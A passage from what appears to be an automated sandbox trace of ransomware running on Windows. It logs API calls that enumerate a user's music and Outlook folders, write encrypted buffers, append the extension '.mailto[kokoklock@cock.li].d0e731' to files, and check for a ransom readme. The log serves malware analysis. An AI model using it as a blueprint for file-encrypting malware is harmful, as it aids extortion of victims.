lpNumberOfBytesWritten=0x232ffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f94950*, lpNumberOfBytesWritten=0x232ffa08*=0x20, lpOverlapped=0x0) returned 1 [0175.964] WriteFile (in: hFile=0x370, lpBuffer=0x2f94a18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x232ffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f94a18*, lpNumberOfBytesWritten=0x232ffa08*=0x20, lpOverlapped=0x0) returned 1 [0175.964] WriteFile (in: hFile=0x370, lpBuffer=0x2f94c70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x232ffa08, lpOverlapped=0x0 | out: lpBuffer=0x2f94c70*, lpNumberOfBytesWritten=0x232ffa08*=0x20, lpOverlapped=0x0) returned 1 [0175.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0175.964] WriteFile (in: hFile=0x370, lpBuffer=0x2f94e00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x232ffa10, lpOverlapped=0x0 | out: lpBuffer=0x2f94e00*, lpNumberOfBytesWritten=0x232ffa10*=0x8, lpOverlapped=0x0) returned 1 [0175.964] WriteFile (in: hFile=0x370, lpBuffer=0x232ffa28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x232ffa10, lpOverlapped=0x0 | out: lpBuffer=0x232ffa28*, lpNumberOfBytesWritten=0x232ffa10*=0x4, lpOverlapped=0x0) returned 1 [0175.964] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x232ffa10, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x232ffa10*=0x4, lpOverlapped=0x0) returned 1 [0175.964] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x232ffa10, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x232ffa10*=0x6c, lpOverlapped=0x0) returned 1 [0175.965] WriteFile (in: hFile=0x370, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x232ffa10, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x232ffa10*=0x20, lpOverlapped=0x0) returned 1 [0175.965] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x232ffa10, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x232ffa10*=0x4, lpOverlapped=0x0) returned 1 [0175.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0175.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94c48) returned 1 [0175.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e00) returned 1 [0175.965] CloseHandle (hObject=0x370) returned 1 [0175.965] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84f18 [0175.965] wcscpy (in: _Dest=0x2f84f18, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" [0175.965] wcscat (in: _Dest=0x2f84f18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0175.965] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0175.968] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0175.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84f18) returned 1 [0175.969] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\kkcie@kdj.kd.pst.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0175.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x76) returned 0x2ff05e8 [0175.969] wcscpy (in: _Dest=0x2ff05e8, _Source="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\" [0175.969] wcscat (in: _Dest=0x2ff05e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\D0E731-Readme.txt" [0175.969] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\Outlook Files\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\d0e731-readme.txt")) returned 0x20 [0175.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff05e8) returned 1 [0175.969] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9e670) returned 1 [0175.969] RtlExitUserThread (Status=0x1) Thread: id = 2440 os_tid = 0xd40 [0175.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2f98 [0175.970] wcscpy (in: _Dest=0x2fa2f98, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0175.970] wcscat (in: _Dest=0x2fa2f98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0175.970] wcscat (in: _Dest=0x2fa2f98, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\*" [0175.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020308 [0175.970] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\*", lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bdeda60, ftCreationTime.dwHighDateTime=0x1d4cbcb, ftLastAccessTime.dwLowDateTime=0x8e66a8e2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e66a8e2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803a0 [0175.973] wcscmp (_String1=".", _String2=".") returned 0 [0175.973] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bdeda60, ftCreationTime.dwHighDateTime=0x1d4cbcb, ftLastAccessTime.dwLowDateTime=0x8e66a8e2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e66a8e2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.973] wcscmp (_String1="..", _String2=".") returned 1 [0175.973] wcscmp (_String1="..", _String2="..") returned 0 [0175.973] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a9ddd0, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0xe0776f90, ftLastAccessTime.dwHighDateTime=0x1d4d5ce, ftLastWriteTime.dwLowDateTime=0x8ba60a7f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x56a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="0_VJJI~1.D0E")) returned 1 [0175.973] wcscmp (_String1="0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.973] wcscmp (_String1="0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x104) returned 0x305c5a8 [0175.974] wcscpy (in: _Dest=0x305c5a8, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0175.974] wcscat (in: _Dest=0x305c5a8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0175.974] wcscat (in: _Dest=0x305c5a8, _Source="0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\0_VjJIrk TrARvUl_mv.m4a.mailto[kokoklock@cock.li].d0e731" [0176.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305c5a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820 [0176.605] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e93d480, ftCreationTime.dwHighDateTime=0x1d4ce04, ftLastAccessTime.dwLowDateTime=0xd91e1830, ftLastAccessTime.dwHighDateTime=0x1d4c5ce, ftLastWriteTime.dwLowDateTime=0x8ba86cb6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="1T1LEU~1.D0E")) returned 1 [0176.605] wcscmp (_String1="1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.605] wcscmp (_String1="1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.605] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f84f18 [0176.605] wcscpy (in: _Dest=0x2f84f18, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0176.605] wcscat (in: _Dest=0x2f84f18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.605] wcscat (in: _Dest=0x2f84f18, _Source="1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\1T1lE UrsSr.mp3.mailto[kokoklock@cock.li].d0e731" [0176.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84f18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0176.606] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e66a8e2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8e66a8e2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e66a8e2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.606] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.606] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.606] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770ce90, ftCreationTime.dwHighDateTime=0x1d4cb2c, ftLastAccessTime.dwLowDateTime=0x731b0ad0, ftLastAccessTime.dwHighDateTime=0x1d4ccc6, ftLastWriteTime.dwLowDateTime=0x8baacf22, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xb51e, dwReserved0=0x0, dwReserved1=0x0, cFileName="gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="GBC08A~1.D0E")) returned 1 [0176.606] wcscmp (_String1="gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.606] wcscmp (_String1="gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f6cd50 [0176.606] wcscpy (in: _Dest=0x2f6cd50, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0176.606] wcscat (in: _Dest=0x2f6cd50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.606] wcscat (in: _Dest=0x2f6cd50, _Source="gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" [0176.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0176.607] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d65c540, ftCreationTime.dwHighDateTime=0x1d4ca1a, ftLastAccessTime.dwLowDateTime=0x208275a0, ftLastAccessTime.dwHighDateTime=0x1d4ca42, ftLastWriteTime.dwLowDateTime=0x8be6688a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x10e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="H50Q1-~1.D0E")) returned 1 [0176.607] wcscmp (_String1="h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.607] wcscmp (_String1="h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x3054828 [0176.607] wcscpy (in: _Dest=0x3054828, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0176.607] wcscat (in: _Dest=0x3054828, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.607] wcscat (in: _Dest=0x3054828, _Source="h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" [0176.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054828, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0176.607] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f29850, ftCreationTime.dwHighDateTime=0x1d4d54b, ftLastAccessTime.dwLowDateTime=0x5028e4f0, ftLastAccessTime.dwHighDateTime=0x1d4caac, ftLastWriteTime.dwLowDateTime=0x8bed8f39, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd4a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PUPDCE~1.D0E")) returned 1 [0176.608] wcscmp (_String1="pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.608] wcscmp (_String1="pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6d068 [0176.608] wcscpy (in: _Dest=0x2f6d068, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0176.608] wcscat (in: _Dest=0x2f6d068, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.608] wcscat (in: _Dest=0x2f6d068, _Source="pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" [0176.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0176.608] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10438e0, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0xaf7ca2a0, ftLastAccessTime.dwHighDateTime=0x1d4cfb8, ftLastWriteTime.dwLowDateTime=0x8beff294, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x99fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QBNOZP~1.D0E")) returned 1 [0176.608] wcscmp (_String1="qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.608] wcscmp (_String1="qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f86318 [0176.608] wcscpy (in: _Dest=0x2f86318, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_" [0176.609] wcscat (in: _Dest=0x2f86318, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.609] wcscat (in: _Dest=0x2f86318, _Source="qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731" [0176.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f86318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0176.609] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x3020308 | out: lpFindFileData=0x3020308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10438e0, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0xaf7ca2a0, ftLastAccessTime.dwHighDateTime=0x1d4cfb8, ftLastWriteTime.dwLowDateTime=0x8beff294, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x99fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="qBnOzPyiFc1A.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="QBNOZP~1.D0E")) returned 0 [0176.609] FindClose (in: hFindFile=0x2f803a0 | out: hFindFile=0x2f803a0) returned 1 [0176.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020308) returned 1 [0176.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2f98) returned 1 [0176.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1ff8) returned 1 [0176.610] RtlExitUserThread (Status=0x0) Thread: id = 2441 os_tid = 0xd44 [0175.974] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.974] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.974] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\ITti.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\itti.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0175.975] GetFileSizeEx (in: hFile=0x4d0, 